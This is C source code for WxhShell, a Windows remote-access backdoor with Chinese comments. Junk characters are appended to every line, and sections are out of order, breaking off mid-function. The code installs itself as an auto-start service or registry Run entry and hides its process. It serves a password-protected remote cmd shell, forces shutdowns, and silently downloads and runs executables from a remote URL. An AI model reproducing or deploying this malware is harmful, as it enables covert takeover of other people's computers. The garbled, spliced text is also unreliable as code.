    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kHc<*L_ V  
    if(Boot(SHUTDOWN)) %OcGdbs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oq(VvS/  
    else { he+#Q 6  
    closesocket(wsh); _kFYBd  
    ExitThread(0); l_/C65%.:  
    } d h^^G^  
    break; $!A:5jech  
    } f]8I64  
  // 获取shell ]J2:194  
  case 's': { lo&#(L+2  
    CmdShell(wsh); W&"|}Pi/  
    closesocket(wsh); $mA5@O~C5\  
    ExitThread(0); IB9%QW"0  
    break; nL]^$J$  
  } P5QQpY{<I  
  // 退出 \ u+xa{b|  
  case 'x': { aaWJ* >rJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UFn8kBk  
    CloseIt(wsh); 3b[jwCt  
    break; |4Ck;gg!j  
    } pL1s@KR  
  // 离开 Lp:6 ;  
  case 'q': { >n.z)ZJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m:Go-tk  
    closesocket(wsh); >x:EJV   
    WSACleanup(); fvo<(c#Y#  
    exit(1); &B{8uge1  
    break; |-2}j2'  
        } IF k  
  } &217l2X /  
  } u3tZ[Y2 c  
(9fdljl],:  
  // 提示信息 a?cn9i)#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5iFV;W  
} VFD%h }  
  } MN;/*t  
cJ}QXuuUv  
  return; oholt/gb+0  
} 1@sM1WM X  
J_#R 87  
// shell模块句柄 0_<Nc/(P  
int CmdShell(SOCKET sock) QBE@(2G}C  
{ &;q<M_<  
STARTUPINFO si; eQX`,9:5  
ZeroMemory(&si,sizeof(si)); ,35&G"JK5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DhKr;e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rE!1wc>L  
PROCESS_INFORMATION ProcessInfo; &b C}3D  
char cmdline[]="cmd"; sJr5t?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KAA3iA@>+  
  return 0; 2O""4_G  
} M7y|EB))  
)xl6,bq3  
// 自身启动模式 f!GHEhQ9  
int StartFromService(void) F#q&(  
{ V/#v\*JHFc  
typedef struct CSn<]%GL  
{ .5tg4%l  
  DWORD ExitStatus; X1J;1hRUP  
  DWORD PebBaseAddress; Bmr<O !  
  DWORD AffinityMask; ?KN:r E  
  DWORD BasePriority; 0~E 6QhV:  
  ULONG UniqueProcessId; KHj6Tg;)  
  ULONG InheritedFromUniqueProcessId; 6!7Pm>ml  
}   PROCESS_BASIC_INFORMATION; +$beo2x6  
I ,FqN}  
PROCNTQSIP NtQueryInformationProcess; M?6;|-HH  
x(r+P9f\<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }~enEZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %JoxYy-  
Xza4iV  
  HANDLE             hProcess; w{7 ji}  
  PROCESS_BASIC_INFORMATION pbi; )@ PnTpL*  
0g(6r-2)7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Z }B"  
  if(NULL == hInst ) return 0; T[Q"}&bB  
!ng\` |8?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j]> uZalr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d?Y-;-|8Qh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B%b_/F]e  
V2`;4dX*2  
  if (!NtQueryInformationProcess) return 0; :k"rhI  
$AwZ2HY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ILG?r9 x  
  if(!hProcess) return 0; 1Kc^m\  
7!d$M{0"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yw"P)Zp  
el@XK}<dr  
  CloseHandle(hProcess); kO3 `54  
H @!#;w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i-13~Dk  
if(hProcess==NULL) return 0; !UNNjBBP7  
^8742.  
HMODULE hMod; ?V+wjw  
char procName[255]; P>htQ  
unsigned long cbNeeded; V/H@vKN2  
wc[c N+p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T Oy7?;|=  
,olwwv_8G  
  CloseHandle(hProcess); @\!!t{y  
F.KrZ3%4iB  
if(strstr(procName,"services")) return 1; // 以服务启动 {!K;`I[]v  
q) _r3   
  return 0; // 注册表启动 ER<eX4oU  
} 8tZ} ;="F  
c^-YcGwa  
// 主模块 xyV]?~7  
int StartWxhshell(LPSTR lpCmdLine) 9.8,q  
{ )fCMITq.|  
  SOCKET wsl; f'_ S1\  
BOOL val=TRUE; \!PV*%P  
  int port=0; Jr?!Mh-  
  struct sockaddr_in door; nVTM3Cz  
V4?Oc2mS  
  if(wscfg.ws_autoins) Install(); hZF(/4Z2  
#:W%,$ 9\P  
port=atoi(lpCmdLine); |Y{PO&-?r  
B!`\L!  
if(port<=0) port=wscfg.ws_port; +!$dO'0nt,  
@zs1>\J7  
  WSADATA data; `E;)`J8b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AQn[*  
22I Yrk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %MNk4UsV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  ~^7  
  door.sin_family = AF_INET; ((9YG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <UK5eVQn  
  door.sin_port = htons(port); z@`@I  
U$09p;~$Ww  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kknhthJ  
closesocket(wsl); 8_awMVAy  
return 1; H /%}R  
} 6 5"uD7;  
J" wKRy  
  if(listen(wsl,2) == INVALID_SOCKET) { {e6 KJ@H6  
closesocket(wsl); %#4 +!  
return 1; 0%;M VMH  
} W^|J/Y48  
  Wxhshell(wsl); #XL`S  
  WSACleanup(); a^/K?lAB8  
a(!3Afi  
return 0; m9b(3  
=VCQ*  
} p\ok_*b  
eEie?#Z/6  
// 以NT服务方式启动 %xh?!s|G(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \d$Rd")w  
{ /sH0x,V  
DWORD   status = 0; yjR)Z9t  
  DWORD   specificError = 0xfffffff; kraVL%72  
VK$zq5D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tzmETRwG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0w+5'lOg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U_}hfLILi  
  serviceStatus.dwWin32ExitCode     = 0; N=<=dp(  
  serviceStatus.dwServiceSpecificExitCode = 0; Xiw@  
  serviceStatus.dwCheckPoint       = 0; 64b<0;~  
  serviceStatus.dwWaitHint       = 0; ze$Y=<S  
e9}8RHy1$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W%H]Uyt  
  if (hServiceStatusHandle==0) return; iGQ n/Xdo  
q@w"yz>  
status = GetLastError(); (6o:4|xl0  
  if (status!=NO_ERROR) i)8gCDc  
{ >OTl2F}4 !  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -Fa98nV.WB  
    serviceStatus.dwCheckPoint       = 0; -UTV:^  
    serviceStatus.dwWaitHint       = 0; +qZc} 7rJF  
    serviceStatus.dwWin32ExitCode     = status; k)Zn>  
    serviceStatus.dwServiceSpecificExitCode = specificError; P_mi)@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T#Fn:6_=  
    return; AW62~*  
  } mMslWe  
fxOE]d8v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lnjL7x  
  serviceStatus.dwCheckPoint       = 0; `L;OY 4  
  serviceStatus.dwWaitHint       = 0; Bjtj{B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ifd}]UMQ  
} 8eN%sm  
rF'<r~Lw  
// 处理NT服务事件,比如:启动、停止 $oc9 |Q 7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k|l5"&K~.  
{ {Bc#?n  
switch(fdwControl) =_uol8v  
{ ;i}i5yv2  
case SERVICE_CONTROL_STOP: ^YqbjL  
  serviceStatus.dwWin32ExitCode = 0; %db3f z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iW":DOdi_  
  serviceStatus.dwCheckPoint   = 0; Qz# 3p3N?  
  serviceStatus.dwWaitHint     = 0; q< b"M$  
  { HmFNE$k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q'by;g*m  
  } ([1=>Jw"  
  return; V15q01bE#  
case SERVICE_CONTROL_PAUSE: # UjEY9"M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .byc;9M%  
  break; ~U/8 @gR  
case SERVICE_CONTROL_CONTINUE: va@XbUC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?${V{=)*X'  
  break; 3 L*+8a  
case SERVICE_CONTROL_INTERROGATE: x{~_/;\p3  
  break; e{:86C!d)  
}; '}@e5^oL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  &Q<EfB  
} Rnz8 f}  
$m{{,&}k  
// 标准应用程序主函数 OX`?<@6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X1O65DMr`g  
{ f>p; siR)  
/#@LRN<oCq  
// 获取操作系统版本 o}d2N/T  
OsIsNt=GetOsVer(); PVZEB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9x4wk*z  
+BU0 6lLD  
  // 从命令行安装 B*32D8t`u  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ia=&.,xub  
4 iik5  
  // 下载执行文件 gYRqqV  
if(wscfg.ws_downexe) { Y=hP Erw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bJANZn|H  
  WinExec(wscfg.ws_filenam,SW_HIDE); >\Z lZ  
} mf+K{y,L  
`CPZPp,l6`  
if(!OsIsNt) { :fl*w""V@  
// 如果时win9x,隐藏进程并且设置为注册表启动 U`:lAG  
HideProc(); P>.Y)$`r  
StartWxhshell(lpCmdLine); @wg&6uQ  
} Fp wlV}:  
else rve7YS'  
  if(StartFromService()) jM{qRfOrg  
  // 以服务方式启动 B8`R(vu;  
  StartServiceCtrlDispatcher(DispatchTable); -Mr{+pf  
else -$xKv4  
  // 普通方式启动 MoZU(j  
  StartWxhshell(lpCmdLine); e|S+G6 :O2  
B 9%yd*SJ  
return 0; =ltbSf7  
} TXA. 6e  
H't`Q&]a  
~3LhcU-  
c& 9+/JYMo  
=========================================== [3Wsc`Q  
K!pxDW}  
~vO'p  
B.h0" vJ  
mvUVy1-c  
@hE7r-}]  
" 9|us<k  
%Y#[% ~|(  
#include <stdio.h> x& mz-  
#include <string.h>  "Nk`RsW  
#include <windows.h> x0}<n99qE  
#include <winsock2.h> |:!E HFr  
#include <winsvc.h> Fcu Eeca  
#include <urlmon.h> WiPM <'  
}Z~pfm_S  
#pragma comment (lib, "Ws2_32.lib") 9\\@I =;  
#pragma comment (lib, "urlmon.lib") I8E\'`:<  
 f'7 d4  
#define MAX_USER   100 // 最大客户端连接数 .Y=Z!Q  
#define BUF_SOCK   200 // sock buffer K8e4ax  
#define KEY_BUFF   255 // 输入 buffer pZni,< Q  
SQz$kIZR  
#define REBOOT     0   // 重启 g?k#wj1uH  
#define SHUTDOWN   1   // 关机 yt]Oj*nn0K  
}TXp<E"\  
#define DEF_PORT   5000 // 监听端口 &!3VqHQ`  
`kaR@t  
#define REG_LEN     16   // 注册表键长度 a!s.850@  
#define SVC_LEN     80   // NT服务名长度 ymzPJ??!  
d;@E~~o?B]  
// 从dll定义API ^sr:N5~z`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C*Y :w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f(w#LuW<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \i&vOH'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8u7K$Q  
gPA>*;?E;@  
// wxhshell配置信息 V1UUAvN7s  
struct WSCFG { >" PqQO  
  int ws_port;         // 监听端口 '@3a,pl  
  char ws_passstr[REG_LEN]; // 口令 ?=pZmvQg  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1{;[q3a  
  char ws_regname[REG_LEN]; // 注册表键名 =Qjw.6@  
  char ws_svcname[REG_LEN]; // 服务名 \4]zNV ~x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &r 5&6p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mmpr]cT@'k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hIE%-gZ/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \ N-| iq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZC9.R$}Kl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UH1S_:6  
&deZ  
}; U{U:8==  
RGx]DP$5G  
// default Wxhshell configuration .O@q5G  
struct WSCFG wscfg={DEF_PORT, {7ZtOe  
    "xuhuanlingzhe", K%aPl~e  
    1, KV) Hywl`  
    "Wxhshell", mTI\,x%<OC  
    "Wxhshell", $)kBz*C[  
            "WxhShell Service", } Y7W1$he  
    "Wrsky Windows CmdShell Service", $9 &Q.Kpq>  
    "Please Input Your Password: ", VDb,$i.Z0  
  1, 8VAYIxRv  
  "http://www.wrsky.com/wxhshell.exe", 6B!j(R  
  "Wxhshell.exe" 6x (L&>F  
    }; e$FAhwpon  
E<98ahZ?l  
// 消息定义模块 oZ\qT0*eb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pJ)+}vascR  
char *msg_ws_prompt="\n\r? for help\n\r#>";  '!r+Tz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jfixm=.6  
char *msg_ws_ext="\n\rExit."; } K hq  
char *msg_ws_end="\n\rQuit."; \h'E5LO  
char *msg_ws_boot="\n\rReboot..."; +cE tm  
char *msg_ws_poff="\n\rShutdown..."; CLFxq@%nu~  
char *msg_ws_down="\n\rSave to "; jmk*z(}#:  
8R??J>h5\  
char *msg_ws_err="\n\rErr!"; avbr7X(  
char *msg_ws_ok="\n\rOK!"; Ma*dIwEp  
_L `N^I.  
char ExeFile[MAX_PATH]; [Q.4]K2  
int nUser = 0; a|6x!p2X  
HANDLE handles[MAX_USER]; "JQt#[9l  
int OsIsNt; r%m7YwXo  
kS\.  
SERVICE_STATUS       serviceStatus; 4, *^QK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ql6ai  
yBD2  
// 函数声明 h3;o!FF  
int Install(void); >b!X&JU  
int Uninstall(void); CL@h!h554_  
int DownloadFile(char *sURL, SOCKET wsh); bsk=9K2_2t  
int Boot(int flag); 5sh u76  
void HideProc(void); _ \y0 mc4  
int GetOsVer(void); !>Qc2&ZV  
int Wxhshell(SOCKET wsl); vxilQp  
void TalkWithClient(void *cs); PhI6dB`  
int CmdShell(SOCKET sock); *3etxnQc  
int StartFromService(void); ek;&<Z_ ]  
int StartWxhshell(LPSTR lpCmdLine); 5{d9,$%8&  
,Dii?P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :(?hLH.W[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0Z) ;.l^  
h,WY2Hr  
// 数据结构和表定义 +GPT:\*q6  
SERVICE_TABLE_ENTRY DispatchTable[] = ,;=( )-  
{ ;MRC~F=  
{wscfg.ws_svcname, NTServiceMain}, ;~gd<KK  
{NULL, NULL} cf[u%{ 6Y  
}; $ DZQdhv  
v<J;S9u=  
// 自我安装  1u S>{M  
int Install(void) b]g&rwXYt  
{ eEri v@v  
  char svExeFile[MAX_PATH]; g0:4zeL  
  HKEY key; f;tyoN0wHx  
  strcpy(svExeFile,ExeFile); mTuB*  
E][{RTs  
// 如果是win9x系统,修改注册表设为自启动 : ! iPn%  
if(!OsIsNt) { >&TnTv?I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4xpWO6Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /@nRL  
  RegCloseKey(key); 3!oQmG_T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^tKOxW# a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4{pemqS*  
  RegCloseKey(key); <% 3SI.  
  return 0; I\uB"Z{9  
    } | 8L`osg  
  } %d[xr h  
} rX>y>{w~  
else {  ZV q  
L]}RSE2  
// 如果是NT以上系统,安装为系统服务 2bn@:71`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ">vYEkZ3  
if (schSCManager!=0) 4wj|  
{ hp z*jyh8  
  SC_HANDLE schService = CreateService ^3)2]>pW  
  ( aEqI51I  
  schSCManager, n40MP5RxY  
  wscfg.ws_svcname, lKhh=Pc2  
  wscfg.ws_svcdisp, $@qs(Xwr  
  SERVICE_ALL_ACCESS, %M,d/4=P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !E:Vn *k;  
  SERVICE_AUTO_START, ,fG_'3wb  
  SERVICE_ERROR_NORMAL, 4bFVyv  
  svExeFile, R5;eR(24G  
  NULL, F/od,w9_  
  NULL, ?5YmE(v7  
  NULL, Oc/_ T>  
  NULL, }B '*8^S  
  NULL b`W'M :$  
  ); ?^$4)Y>Kf  
  if (schService!=0) ^.1VhTB  
  { BfE-s<  
  CloseServiceHandle(schService); G* ~*2>~  
  CloseServiceHandle(schSCManager); HFx"fT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^YJ^+:D(  
  strcat(svExeFile,wscfg.ws_svcname); ^RyTK|SQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o`8+#+@f7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /e?ux~f|  
  RegCloseKey(key); 0G\myv  
  return 0; KJ^GUqVl  
    } =U7D}n hS-  
  } 9H%xZ(`vN  
  CloseServiceHandle(schSCManager); (DMnwqr  
} hUhp2ibEs  
} j% USu+&  
8(/f!~  
return 1; p,u<g JUL  
} KIBZQ.uG  
c)!s[oL  
// 自我卸载 %3+hz $E  
int Uninstall(void) fQ.>G+0 I>  
{ zcWxyLifl0  
  HKEY key; "gikX/Co=  
D:vUy*  
if(!OsIsNt) { I nK)O ';  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V\`= "  
  RegDeleteValue(key,wscfg.ws_regname); 3pv1L~ ZI  
  RegCloseKey(key); L8tLW09  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^RAFmM#F  
  RegDeleteValue(key,wscfg.ws_regname); >;r05,mc  
  RegCloseKey(key); dlzamoS@AR  
  return 0; g7z9i[  
  } 27 TZ+?  
} y^46z( I  
} 3R:i*8C  
else { <.(/#=2  
9w<Bm"G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1HWJxV"  
if (schSCManager!=0) j4SG A#;v  
{ Bt7v[Ot   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A^@<+?  
  if (schService!=0) L.:QI<n  
  { _%TeTNY#  
  if(DeleteService(schService)!=0) { EEZ2Gu6c  
  CloseServiceHandle(schService); )9jQ_  
  CloseServiceHandle(schSCManager); / lM~K:  
  return 0; (<JDD]J  
  } :Fd9N).%  
  CloseServiceHandle(schService); h}&IlDG  
  } 3X,{9+(F  
  CloseServiceHandle(schSCManager); `h3}"js  
} 9Zsb1 M!n>  
} XK-x*|  
,wo"(E!4e  
return 1; rPpAg  
} d@f2Vxe7  
;OJ0}\*iP8  
// 从指定url下载文件 swq!S p  
int DownloadFile(char *sURL, SOCKET wsh) fToI,FA  
{ be%*0lr  
  HRESULT hr; VX[!Vh  
char seps[]= "/"; X@q1;J  
char *token; 6MNA.{Jdd  
char *file; l4reG:uYG  
char myURL[MAX_PATH]; xi. KD  
char myFILE[MAX_PATH]; X3O$Sd(D  
Z2jb>%  
strcpy(myURL,sURL); `80Hxp@  
  token=strtok(myURL,seps); 5@%-=87S  
  while(token!=NULL) 5m?$\h  
  { j:KQIwc  
    file=token; }/0dfes  
  token=strtok(NULL,seps); yZ0ZP  
  } ~RAH -]  
2I 7`  
GetCurrentDirectory(MAX_PATH,myFILE); r+p jv_R  
strcat(myFILE, "\\"); NT/B4'_@  
strcat(myFILE, file); iX6jvnJ:/  
  send(wsh,myFILE,strlen(myFILE),0); k\%v;3nBK  
send(wsh,"...",3,0); <uwCP4E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O9)}:++T  
  if(hr==S_OK) FN EmGz/4  
return 0; %{abRBny  
else wR$8drn]Rq  
return 1; Ka\b_P&  
u*N8s[s'  
} QXj(U&#rp  
S5a<L_  
// 系统电源模块 qDd/wR,44  
int Boot(int flag) fr2w k}/b  
{ (#M$t!'%  
  HANDLE hToken; iZ\z!tHR  
  TOKEN_PRIVILEGES tkp; -JK4-Hg  
beZ| i 1:  
  if(OsIsNt) { >v,j;[(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (r\h dLX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MXV4bgltT  
    tkp.PrivilegeCount = 1; P[8N58#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nn%xN\~<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D~&e.y/gHN  
if(flag==REBOOT) { &~f_1<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bR,Iq}p  
  return 0; 53 05N!  
} C P{h+yCj  
else { 4:g:$s|SE[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }8#Czo jt  
  return 0; w/6@R 4)p  
} hAyPaS#  
  } {U-EBXV  
  else { Mu%,@?zM^/  
if(flag==REBOOT) { VW`=9T5%@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *G41%uz  
  return 0; ,`@|C Z-4A  
} mP[u[|]  
else { 0|;=mYa4M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rNyK*Wjt  
  return 0; MV \zwH  
}  U~t(YT  
} cpnwx1q@  
,m]q+7E  
return 1; X-F HJ4  
} #?6RoFgMe  
]!:Y]VYN)\  
// win9x进程隐藏模块 rtE,SN  
void HideProc(void) x)L@x Q  
{ IyP].g1"U  
X&Lt?e,&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /Ql}jSKi  
  if ( hKernel != NULL ) zUqDX{I8  
  { NLY5L7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K_n%`5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &_j4q  
    FreeLibrary(hKernel); P$I\)Q H  
  } =C)1NJx&~  
HCK4h DKo}  
return; bp,CvQ'}a  
} -m/4\D  
e r$'c  
// 获取操作系统版本 GK&Dd"v  
int GetOsVer(void) E76:}(  
{ 55p=veq \  
  OSVERSIONINFO winfo; 90}B*3x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F9W5x=EK\  
  GetVersionEx(&winfo); I r~X#$Upc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n]Y _C^  
  return 1; }DaYO\:yK*  
  else kM`#U *j  
  return 0; W$S.?[X  
} |3m%d2V*hF  
uL F55:`<  
// 客户端句柄模块 oVW?d]R  
int Wxhshell(SOCKET wsl) e_V(G  
{ p;Kr664  
  SOCKET wsh; qE{S'XyM,  
  struct sockaddr_in client; PK" C+o;:  
  DWORD myID; 'zK*?= ^jk  
i;Y^}2   
  while(nUser<MAX_USER) @jKB!z9{  
{ (.o'1 '  
  int nSize=sizeof(client); W(YJz#]6_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pdSyx>rJ  
  if(wsh==INVALID_SOCKET) return 1; *gVv74;;  
I]X<L2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kZQ;\QL1}  
if(handles[nUser]==0) UhK,H   
  closesocket(wsh); GWKefH  
else 3yN1cd"#?  
  nUser++; BL67sva;  
  } sa*-B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :cTi$n  
qv\yQ&pj  
  return 0; v*3:8Y,  
} uE(w$2Wi  
1CbC|q  
// 关闭 socket whCv9)x  
void CloseIt(SOCKET wsh) pG&.Ye]j  
{ M .,|cx  
closesocket(wsh); 2uIAnbW]M  
nUser--; M_K&x-H0  
ExitThread(0); )f Rh^6  
} -eTGRr  
X!Q"p$D4(  
// 客户端请求句柄 zYgLGwi{  
void TalkWithClient(void *cs) GcuZPIN%D  
{ >nX'RE|F  
.+yJ'*i$d  
  SOCKET wsh=(SOCKET)cs; <FE O6YP  
  char pwd[SVC_LEN]; 71_N9ub@z  
  char cmd[KEY_BUFF]; q9Q4F  
char chr[1]; Q"O _h  
int i,j; <vs.Ucxx  
F <(Y  
  while (nUser < MAX_USER) { y+a&swd2(U  
B_> Fd&  
if(wscfg.ws_passstr) { _wBPn6gg`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,P^"X5$   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &D:88   
  //ZeroMemory(pwd,KEY_BUFF); /NZ R|  
      i=0; A@UnrbX:  
  while(i<SVC_LEN) { bPNsy@"6  
a'BBp6  
  // 设置超时 O);V{1P  
  fd_set FdRead; i&Ea@b  
  struct timeval TimeOut; eo!z>9#.  
  FD_ZERO(&FdRead); 2;/hFwm  
  FD_SET(wsh,&FdRead); _N6GV$Q  
  TimeOut.tv_sec=8; ~&kV  
  TimeOut.tv_usec=0; 9V~yK?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -UO$$)Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o&=m]hKpQl  
6o!"$IH4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8MIHp[vm%  
  pwd=chr[0]; Ne%X:h  
  if(chr[0]==0xd || chr[0]==0xa) { WVZ\4y  
  pwd=0; n):VuOjm  
  break; AOpfByw  
  } fOfp.`n  
  i++; FwyPmtBj  
    } ]l`DR4 =  
|c) #zSv  
  // 如果是非法用户,关闭 socket ec|IT0;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {PZe!EQ  
} N}\i!YUD  
NJ.kT uk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <T['J]k%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /9sUp} *  
m35G;  
while(1) { ZP1EO Z  
V%))%?3x_  
  ZeroMemory(cmd,KEY_BUFF); @ B+];lr/-  
I8m(p+Z=  
      // 自动支持客户端 telnet标准   /Mv'fich(  
  j=0;  m{~r6@  
  while(j<KEY_BUFF) { YV+e];s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Q YxX<W  
  cmd[j]=chr[0]; @I%m}>4Jm  
  if(chr[0]==0xa || chr[0]==0xd) { b+kb7  
  cmd[j]=0; 4R6X"T9-  
  break; E>&dG:3no  
  } q;rU}hAzG0  
  j++; ^VA)vLj@  
    } _QQO&0Z  
c8(.bmvF  
  // 下载文件 %BL+'&q  
  if(strstr(cmd,"http://")) { 4WLB,<b}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K.z@Vx.  
  if(DownloadFile(cmd,wsh)) %lujme  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @^%# ]x,:  
  else _b+3;Dy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9rhz#w  
  } hSxf;>(d  
  else { p0Vw@R=  
o;t{YfK  
